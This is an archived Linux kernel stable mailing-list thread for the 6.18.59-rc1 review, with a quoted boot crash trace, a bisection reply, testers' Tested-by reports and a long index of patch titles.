> > > L450[ 1.238864] Code: 34 ff ba 00 02 00 00 31 f6 48 c7 c7 70 a2 e6 b2 e8 52 d3 28 ff 89 c3 e8 bb 2d 34 ff 89 df 48 c7 c6 80 db 85 b3 e8 9d d7 2b ff <81> 48 2c 00 00 00 04 65 8b 15 63 6e 45 01 48 89 c7 89 d0 c1 ea 06
> > > L451[ 1.238864] RSP: 0000:ffffffffb3803ee0 EFLAGS: 00010246
> > > L452[ 1.238864] RAX: 0000000000000000 RBX: 00000000ffffffea RCX: 0000000000000000
> > > L453[ 1.238864] RDX: 0000000000000000 RSI: ffffffffffffffea RDI: ffffffffffffffea
> > > L454[ 1.238864] RBP: ffff8cf23ffed080 R08: ffffffffb385db88 R09: ffffffffb385db80
> > > L455[ 1.238864] R10: 0000000000000000 R11: 0000000000000000 R12: ffff8cf23ffed0ab
> > > L456[ 1.238864] R13: 0000000000000000 R14: ffffffffb380c040 R15: 00000000b43e8000
> > > L457[ 1.238864] FS: 0000000000000000(0000) GS:ffff8cf287953000(0000) knlGS:0000000000000000
> > > L458[ 1.238864] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> > > L459[ 1.238864] CR2: 000000000000002c CR3: 000000000d630000 CR4: 00000000001006f0
> > > L460[ 1.238864] Call Trace:
> > > L461[ 1.238864] <TASK>
> > > L462[ 1.238864] start_kernel+0x7a2/0x7b0
> > > L463[ 1.238864] x86_64_start_reservations+0x24/0x30
> > > L464[ 1.238864] x86_64_start_kernel+0xcd/0xd0
> > > L465[ 1.238864] common_startup_64+0x13e/0x158
> > > L466[ 1.238864] </TASK>
> > > L467[ 1.238864] Modules linked in:
> > > L468[ 1.238864] CR2: 000000000000002c
> > > L469[ 1.238864] ---[ end trace 0000000000000000 ]---
> > > L470[ 1.238864] RIP: 0010:rest_init+0x33/0xd0
> >
> > Same here indepently, but not yet bisected.
>
> Same here as well, bisected down to: a0c935bd1f76 ("fs: add umh argument to
> struct kernel_clone_args"), it looks like we need to cherry-pick
> 14adbd5341aa ("fs: stop sharing fs_struct between init_task and pid 1"),
> with that I can boot a kernel.
Thanks for the bisection, I'll go queue that up now and push out a -rc2
soon.
greg k-h
^ permalink raw reply [flat|nested] 455+ messages in thread
* Re: [PATCH 6.18 000/193] 6.18.59-rc1 review
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (197 preceding siblings ...)
2026-10-24 2:27 ` Peter Schneider
@ 2026-10-24 10:46 ` Barry K. Nathan
2026-10-24 10:58 ` Brett A C Sheffield
` (4 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Barry K. Nathan @ 2026-10-24 10:46 UTC (permalink / raw)
To: Greg Kroah-Hartman, stable
Cc: patches, linux-kernel, torvalds, akpm, linux, shuah, patches,
lkft-triage, pavel, jonathanh, f.fainelli, sudipm.mukherjee,
rwarsow, conor, hargar, broonie, achill, sr
On 10/23/26 9:34 AM, Greg Kroah-Hartman wrote:
> This is the start of the stable review cycle for the 6.18.59 release.
> There are 193 patches in this series, all will be posted as a response
> to this one. If anyone has any issues with these being applied, please
> let me know.
>
> Responses should be made by Sun, 25 Oct 2026 16:36:50 +0000.
> Anything received after that time might be too late.
>
> The whole patch series can be found in one patch at:
> https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.18.59-rc1.gz
> or in the git tree and branch at:
> git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git linux-6.18.y
> and the diffstat can be found below.
>
> thanks,
>
> greg k-h
Tested on 3 amd64 systems and an arm64 virtual machine. Working well,
no regressions observed.
Tested-by: Barry K. Nathan <barryn@pobox.com>
--
-Barry K. Nathan <barryn@pobox.com>
^ permalink raw reply [flat|nested] 455+ messages in thread
* Re: [PATCH 6.18 000/193] 6.18.59-rc1 review
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (198 preceding siblings ...)
2026-10-24 10:46 ` Barry K. Nathan
@ 2026-10-24 10:58 ` Brett A C Sheffield
2026-10-24 11:55 ` Miguel Ojeda
` (3 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Brett A C Sheffield @ 2026-10-24 10:58 UTC (permalink / raw)
To: gregkh
Cc: stable, patches, linux-kernel, torvalds, akpm, linux, shuah,
patches, lkft-triage, pavel, jonathanh, f.fainelli,
sudipm.mukherjee, rwarsow, conor, hargar, broonie, achill, sr,
Brett A C Sheffield
# Librecast Test Results
044/044 [ OK ] liblcrq
010/010 [ OK ] libmld
120/120 [ OK ] liblibrecast
CPU/kernel: Linux auntie 6.18.59-rc1-gbd77a04827b6 #1 SMP PREEMPT_DYNAMIC Sat Oct 24 09:18:13 -00 2026 x86_64 AMD Ryzen 9 9950X 16-Core Processor AuthenticAMD GNU/Linux
Tested-by: Brett A C Sheffield <bacs@librecast.net>
^ permalink raw reply [flat|nested] 455+ messages in thread
* Re: [PATCH 6.18 000/193] 6.18.59-rc1 review
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (199 preceding siblings ...)
2026-10-24 10:58 ` Brett A C Sheffield
@ 2026-10-24 11:55 ` Miguel Ojeda
2026-10-24 18:18 ` SJ Park
` (2 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Miguel Ojeda @ 2026-10-24 11:55 UTC (permalink / raw)
To: gregkh
Cc: achill, akpm, broonie, conor, f.fainelli, hargar, jonathanh,
linux-kernel, linux, lkft-triage, patches, patches, pavel,
rwarsow, shuah, sr, stable, sudipm.mukherjee, torvalds,
Miguel Ojeda
On Fri, 23 Oct 2026 18:34:37 +0200 Greg Kroah-Hartman <gregkh@linuxfoundation.org> wrote:
>
> This is the start of the stable review cycle for the 6.18.59 release.
> There are 193 patches in this series, all will be posted as a response
> to this one. If anyone has any issues with these being applied, please
> let me know.
>
> Responses should be made by Sun, 25 Oct 2026 16:36:50 +0000.
> Anything received after that time might be too late.
Boot-tested under QEMU for Rust x86_64, arm64 and riscv64; built-tested
for loongarch64 and arm32:
Tested-by: Miguel Ojeda <ojeda@kernel.org>
Thanks!
Cheers,
Miguel
^ permalink raw reply [flat|nested] 455+ messages in thread
* Re: [PATCH 7.2 000/242] 7.2.13-rc1 review
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (240 preceding siblings ...)
2026-10-23 20:44 ` [PATCH 7.2 000/242] 7.2.13-rc1 review Pavel Machek
@ 2026-10-24 14:09 ` Miguel Ojeda
241 siblings, 0 replies; 455+ messages in thread
From: Miguel Ojeda @ 2026-10-24 14:09 UTC (permalink / raw)
To: gregkh
Cc: achill, akpm, broonie, conor, f.fainelli, hargar, jonathanh,
linux-kernel, linux, lkft-triage, patches, patches, pavel,
rwarsow, shuah, sr, stable, sudipm.mukherjee, torvalds
On Fri, 23 Oct 2026 18:37:22 +0200 Greg Kroah-Hartman <gregkh@linuxfoundation.org> wrote:
>
> This is the start of the stable review cycle for the 7.2.13 release.
> There are 242 patches in this series, all will be posted as a response
> to this one. If anyone has any issues with these being applied, please
> let me know.
>
> Responses should be made by Sun, 25 Oct 2026 16:36:45 +0000.
> Anything received after that time might be too late.
As reported by others, this failed within QEMU for all the ones where
I boot-test it (x86_64, arm64 and riscv64).
Cheers,
Miguel
^ permalink raw reply [flat|nested] 455+ messages in thread
* Re: [PATCH 6.18 000/193] 6.18.59-rc1 review
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (200 preceding siblings ...)
2026-10-24 11:55 ` Miguel Ojeda
@ 2026-10-24 18:18 ` SJ Park
2026-10-25 0:37 ` Ron Economos
2026-10-26 18:41 ` Shuah Khan
203 siblings, 0 replies; 455+ messages in thread
From: SJ Park @ 2026-10-24 18:18 UTC (permalink / raw)
To: Greg Kroah-Hartman
Cc: SJ Park, stable, patches, linux-kernel, torvalds, akpm, linux,
shuah, patches, lkft-triage, pavel, jonathanh, f.fainelli,
sudipm.mukherjee, rwarsow, conor, hargar, broonie, achill, sr
On Fri, 23 Oct 2026 18:34:37 +0200 Greg Kroah-Hartman <gregkh@linuxfoundation.org> wrote:
> This is the start of the stable review cycle for the 6.18.59 release.
> There are 193 patches in this series, all will be posted as a response
> to this one. If anyone has any issues with these being applied, please
> let me know.
>
> Responses should be made by Sun, 25 Oct 2026 16:36:50 +0000.
> Anything received after that time might be too late.
This rc kernel passes DAMON functionality test [1] on my test machine.
Tested-by: SJ Park <sj@kernel.org>
[1] https://github.com/damonitor/damon-tests/tree/next/corr
Thanks,
SJ
[...]
^ permalink raw reply [flat|nested] 455+ messages in thread
* Re: [PATCH 6.18 000/193] 6.18.59-rc1 review
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (201 preceding siblings ...)
2026-10-24 18:18 ` SJ Park
@ 2026-10-25 0:37 ` Ron Economos
2026-10-26 18:41 ` Shuah Khan
203 siblings, 0 replies; 455+ messages in thread
From: Ron Economos @ 2026-10-25 0:37 UTC (permalink / raw)
To: Greg Kroah-Hartman, stable
Cc: patches, linux-kernel, torvalds, akpm, linux, shuah, patches,
lkft-triage, pavel, jonathanh, f.fainelli, sudipm.mukherjee,
rwarsow, conor, hargar, broonie, achill, sr
On 10/23/26 09:34, Greg Kroah-Hartman wrote:
> This is the start of the stable review cycle for the 6.18.59 release.
> There are 193 patches in this series, all will be posted as a response
> to this one. If anyone has any issues with these being applied, please
> let me know.
>
> Responses should be made by Sun, 25 Oct 2026 16:36:50 +0000.
> Anything received after that time might be too late.
>
> The whole patch series can be found in one patch at:
> https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.18.59-rc1.gz
> or in the git tree and branch at:
> git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git linux-6.18.y
> and the diffstat can be found below.
>
> thanks,
>
> greg k-h
Built and booted successfully on RISC-V RV64 (HiFive Unmatched).
Tested-by: Ron Economos <re@w6rz.net>
^ permalink raw reply [flat|nested] 455+ messages in thread
* Re: [PATCH 6.18 000/193] 6.18.59-rc1 review
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (202 preceding siblings ...)
2026-10-25 0:37 ` Ron Economos
@ 2026-10-26 18:41 ` Shuah Khan
203 siblings, 0 replies; 455+ messages in thread
From: Shuah Khan @ 2026-10-26 18:41 UTC (permalink / raw)
To: Greg Kroah-Hartman, stable
Cc: patches, linux-kernel, torvalds, akpm, linux, shuah, patches,
lkft-triage, pavel, jonathanh, f.fainelli, sudipm.mukherjee,
rwarsow, conor, hargar, broonie, achill, sr, Shuah Khan
On 10/23/26 10:34, Greg Kroah-Hartman wrote:
> This is the start of the stable review cycle for the 6.18.59 release.
> There are 193 patches in this series, all will be posted as a response
> to this one. If anyone has any issues with these being applied, please
> let me know.
>
> Responses should be made by Sun, 25 Oct 2026 16:36:50 +0000.
> Anything received after that time might be too late.
Might be late but here it is.
Compiled and booted on my test system. No dmesg regressions.
Tested-by: Shuah Khan <skhan@linuxfoundation.org>
thanks,
-- Shuah
^ permalink raw reply [flat|nested] 455+ messages in thread
end of thread, other threads:[~2026-10-26 18:41 UTC | newest]
Thread overview: 455+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 001/193] drm/ttm: fix swapped-out resources never leaving their bulk_move range Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 002/193] ALSA: ctxfi: Dont enumerate SPDIF1 at DAIO initialization Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 003/193] ALSA: ctxfi: Rename SPDIFI1 to SPDIFI_BAY Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 004/193] ALSA: ctxfi: Use correct DAIO type for da_desc Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 005/193] ax25: bound REJ-driven fast retransmits with the existing N2 counter Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 006/193] rose: purge rose_neigh->queue on final teardown Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 007/193] i2c: qcom-geni: Restore the source-clock selection policy Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 008/193] kho: free phys_bits bitmaps using free_page() in __kho_abort() Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 009/193] soc/tegra: fuse: Add missing newline to APBMISC error message Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 010/193] ARM: dts: ti/omap: dra7: fix PCIe PHY clock divider definition Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 011/193] power: supply: Fix maintenance charge table kernel-doc Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 012/193] power: supply: ds2780: Fix ds2780_get_capacity() returning raw value Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 013/193] Drivers: hv: Avoid infinite retry loop in init_vp_index() Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 014/193] x86/hyperv: Avoid using per-cpu output page in hv_apicid_to_vp_index() Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 015/193] Drivers: hv: Dont reset VMBus connection state on error/exit paths Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 016/193] pinctrl: qcom: qcs8300: Fix intr_target_width Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 017/193] pinctrl: qcom: ipq5018: add missing pwm3 function on gpio13 Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 018/193] tools/power turbostat: Fix fd_perf leak on reset Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 019/193] tools/power turbostat: Fix CWF PMT off-by-one Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 020/193] tools/power turbostat: Fix PMT error path fd handling Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 021/193] tools/power turbostat: Fix add_counter issue if > 24 counters Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 022/193] power: supply: generic-adc-battery: Fix temperature IIO channel conversion Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 023/193] power: supply: core: prevent unregistering a power supply while a callback runs Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 024/193] pinctrl: qcom: ipq5018: replace gcc_plltest with pwm2 on gpio12 Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 025/193] pinctrl: sunxi: dt: do not accumulate npins across probe attempts Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 026/193] drm/vc4: hdmi: Move packet RAM enable to PM runtime Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 027/193] gpio: nct6694: Mark the GPIO controller as sleeping Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 028/193] vsock: treat TCP_CLOSING as once-established Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 029/193] net/rds: dont let the rdma_cm destroy an id RDS still owns on route failure Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 030/193] ASoC: Intel: avs: Reset the stream unless it is already prepared Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 031/193] ASoC: stm32: spdifrx: fix synchronization state check Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 032/193] ASoC: cs42l56: Put the Limiter Cushion control on the limiter register Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 033/193] ASoC: cs42l52: Fix the NG Type Switch bit Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 034/193] ASoC: pcm3168a: Fix the DAC zero flag polarity bit Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 035/193] ASoC: max98371: Fix the Speaker DHT Min Volume bits Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 036/193] ASoC: wm8978: Fix the 128x oversampling switch bits Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 037/193] ASoC: nau8822: " Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 038/193] regcache: Add ->populate() callback to separate from ->init() Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 039/193] regcache: Do not overwrite error code when finalizing cache after error Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 040/193] regmap: Drop map lock during cache init and exit Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 041/193] netlink: reset skb headers before unicast and multicast filtering Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 042/193] accel/rocket: clear rdev on device init failure Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 043/193] net/mlx5: HWS, release L2 to L3 tunnel reformats to their own pool Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 044/193] net/mlx5: HWS, fix flow meter offset within its bulk Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 045/193] ASoC: amd: yc: disable MSI on resume Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 046/193] drm/xe: skip eviction of a BO with no resource Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 047/193] drm/xe/oa: Zero OA buffer at allocation Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 048/193] spi: tegra114: assert CS GPIO for every transfer in a message Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 049/193] nios2: fix __wsum type degradation in csum_fold() Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 050/193] scsi: st: Save the visited block for the partition the drive is in Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 051/193] scsi: target: iscsi: Fix race in discovery auth updates Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 052/193] drm/panthor: fix immortalis condition Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 053/193] ocfs2/dlm: Protect the recovery list during debugfs reads Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 054/193] samples: pidfd: fix userprogs typo Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 055/193] pipe: preserve existing fasync readers on writer setup failure Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 056/193] tracing: probes: error if BTF is required but unavailable Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 057/193] scsi: libsas: Fix SMP IO deadlock during HA resume Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 058/193] netlink: avoid hashing the network namespace pointer Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 059/193] net: bcmgenet: unshare the skb before writing the control block Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 060/193] net/ipv6: Introduce payload_len helpers Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 061/193] calipso: keep BIG TCP payload_len in calipso_skbuff_setattr() Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 062/193] gpiolib: fix memory leak in gpiod_set_array_value_complex() on error paths Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 063/193] gpio: mxc: fix race between chained IRQ handler install and probe completion Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 081/242] net: ethernet: aeroflex: move setting of netops to fix crash Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 064/193] gpio: mxc: fix both_edges bit operations Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 065/193] gpio: mxc: use BIT() macro Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 066/193] gpio: mxc: fix wakeup_pads bit operations Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 067/193] gpio: mxc: fix race between gpiochip registration and IRQ domain setup Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 068/193] perf: Fix perf_pmu_migrate_context() leaving events behind Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 069/193] printk: Postpone kthread startup Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 070/193] PCI: Dont treat ~0 as ready in pci_dev_wait() with RRS SV Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 071/193] accel/rocket: search every core slot when a core is removed Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 072/193] afs: free the super info after a grace period Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 073/193] autofs: ignore notification errors from a replaced pipe Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 074/193] bootconfig: give the footer size static_assert a message Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 075/193] unicode: free the map after a grace period Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 076/193] watch_queue: Fix note pool publication race in watch_queue_set_size() Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 077/193] x86/kvm: Dont consume async #PF flags on a kernel #PF in NMI context Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 078/193] KVM: nVMX: Reset MMU back to the root MMU if loading L2 state fails for !VM-Entry Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 079/193] fsnotify: prevent mark additions during connector teardown Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 080/193] pid_namespace: make zap_pid_ns_processes() freezable Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 081/193] eventfs: Free the eventfs_inode after an rcu grace period too Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 082/193] namei: test for a negative dentry the way traverse_mounts() does Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 083/193] lib/crypto: arm64: Fix lost Poly1305 carry when resuming NEON state Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 084/193] lib/crypto: poly1305: Use memzero_explicit() in poly1305_final() Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 085/193] net/sched: fix use-after-free in __tcf_action_put() Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 086/193] net: rds: fix uninitialized trans dereference in CM event handler Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 087/193] pinctrl: amd: Clear S4 wake bits when firmware has _AEI Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 088/193] sctp: revalidate output stream after association connect wait Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 089/193] tools: gpio: fix building from the top level with O= Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 090/193] tracing/histograms: Reject non-stacktrace fields for synthetic stacktrace fields Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 091/193] i2c: qcom-cci: Fix HALT_ACK reset request being dropped Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 092/193] i2c: viai2c-wmt: Fix clock leak in wmt_i2c_probe() Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 093/193] perf: Track the perf mlock gift separately Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 094/193] perf: Update cgroup time when rotating multiplexed events Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 095/193] ring-buffer: Do not show buffer_meta for CPUs without a buffer Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 096/193] ring-buffer: Fix the sub-buffer array base in rb_meta_subbuf_idx() Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 097/193] ring-buffer: Fix false warning in ring_buffer_map_get_reader() Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 098/193] scsi: bsg: Pass reply_len to bsg_setup_queue() to fit UFS ARPMB replies Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 099/193] scsi: xen/scsifront: Check for a NULL shadow entry on a backend response Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 100/193] scsi: libiscsi: Reject a negative task index from parse_pdu_itt Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 101/193] scsi: libiscsi: Validate the ITT reflected in a Reject PDU Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 102/193] scsi: libiscsi: Validate the task named by a management response Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 103/193] drm/amd/pm: add zero fan stop temperature support on smu 14.0.2 Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 104/193] drm/amdgpu/sdma3: Work around POLL_REGMEM / FENCE hang Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 105/193] drm/amdgpu: dont drop the runtime PM reference twice in amdgpu_gpr Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 106/193] drm/amdgpu: report the BO alignment in bytes in GEM_LIST_HANDLES Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 107/193] drm/exec: dont immediately add prelocked obj to array of locked objs Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 108/193] drm/i915/cx0_phy: Fix ARL-S host bridge detection Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 109/193] drm/i915/dmc: Add sanity check for DMC load address Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 110/193] drm/xe: Bump LRU for external objects on exec and rebind Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 111/193] tracing: Fix the shift out of bounds in the log2 histogram modifier Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 112/193] tracing: Take trace_types_lock when dropping the buffer_meta reference Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 113/193] tracing: Check operator stack capacity before pushing Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 114/193] tracing: Do not initialize tracefs work if tracing is disabled Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 115/193] tracing: Fix hist trigger timestamps for buffered events Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 116/193] wifi: p54: validate firmware record lengths Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 117/193] tcp: fix use-after-free in do_tcp_getsockopt(TCP_CONGESTION) Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 118/193] tcp: fix use-after-free in do_tcp_getsockopt(TCP_CC_INFO) Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 119/193] cgroup: fix spurious SIGKILL of CLONE_INTO_CGROUP children Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 120/193] cifs: dont update i_size in cifs_do_truncate without a cached handle Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 138/242] i2c: xiic: restore non-managed runtime PM to fix clk WARN flood Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 121/193] dm cache: fix demotion stats in passthrough mode Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 122/193] dm cache: fix issue with background work locking Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 123/193] dm-crypt: fix a tiny race condition in crypt_dec_pending Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 124/193] dm-ebs: fix incorrect device offset check in ebs_ctr() Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 125/193] dm-integrity: fix infinite loop on discard with large tag size Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 126/193] dm-integrity: require stable writes for internal hash modes Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 127/193] mac802154: fix data race and NULL deref on local->assoc_dev Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 128/193] net/iucv: fix the recvmsg window update Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 129/193] xfs: dont hold buffer locks across sync transaction commit in xfs_sync_sb_buf Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 130/193] xfs: fix capability check in xfs Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 131/193] xfs: fix zoned write iomap flags assignments Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 132/193] netlink: specs: fix the conntrack filter type Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 133/193] netlink: specs: add missing mask attributes for conntrack dump Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 134/193] workqueue: Use raise_softirq() to trigger softirq in irq_work handler Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 135/193] workqueue: Annotate cb_lock nesting when draining a dead BH pool Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 136/193] tipc: protect node reset trace dump with node lock Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 137/193] sctp: validate chunk length in the inqueue parser Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 138/193] page_pool: keep frag_offset aligned for odd-sized requests Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 139/193] s390/ctcm: Prevent XID null dereference Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 140/193] s390/pci: Fix leak of uninitialized kernel data in SCLP report Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 141/193] ipv4: avoid divide by zero in fib_rebalance Greg Kroah-Hartman
